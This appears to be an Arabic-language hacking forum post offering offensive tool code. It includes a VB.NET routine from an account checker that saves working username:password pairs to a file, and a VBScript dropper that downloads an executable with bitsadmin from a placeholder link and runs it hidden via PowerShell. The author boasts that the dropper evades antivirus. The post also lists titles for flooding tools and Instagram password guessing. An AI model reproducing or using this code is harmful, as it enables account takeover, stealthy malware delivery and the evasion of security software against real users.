U N C 0 Đ E R

بالمناسبه من تريد تستخدم الاكوواد بغير مشروع راح يطلع هذا الخطاء عندك ظيف مكتبه System.Management وشكراا

برنامج فحص الحسابات شغاله وكذا -_- مدة العمل 30د الحساب الشغال يحفظه بلسته

Function save() Dim x$ = strArray(0) + ":" + strArray(1) Dim currentdirr As String = AppDomain.CurrentDomain.BaseDirectory If File.Exists(currentdirr + "\List.txt") = True Then Dim X11 As List(Of String) = New List(Of String) X11.Add(x) File.AppendAllLines(currentdirr + "\List.txt", X11) Else Dim X11 As List(Of String) = New List(Of String) X11.Add(x) File.AppendAllLines(currentdirr + "\List.txt", X11) End If End Function

هذا الشرح شوفو اني منزل بجهازي افاست + هواي حمايات وفحصو البرنامج مابي شي بس من تفحص بفايروس توتل يطلع ملغم هه

كود داونلودر قديم من زمن الفراعنه عندي المهم الكود يحمل ملف من النت بالغه الفجول بيسك الداولنودر بلغه سكربت هو بس اني مسوي يشتغل بالفجول وتشغيل الملف بالبور شل متخطي الحمايات للهكريه وكذا

On Error Resume Next Dim d = CreateObject("WSCript.shell") d.run("bitsadmin /transfer myFile /download /priority normal " & "رابط هنا" & " " & "D:\abbas.exe", 0, False) d.run("powershell -windowstyle hidden (D:\abbas.exe)", 0)

سورس كود اداة رشق

فحص مواقع رشق

منشن تلقائي

تخمين انستا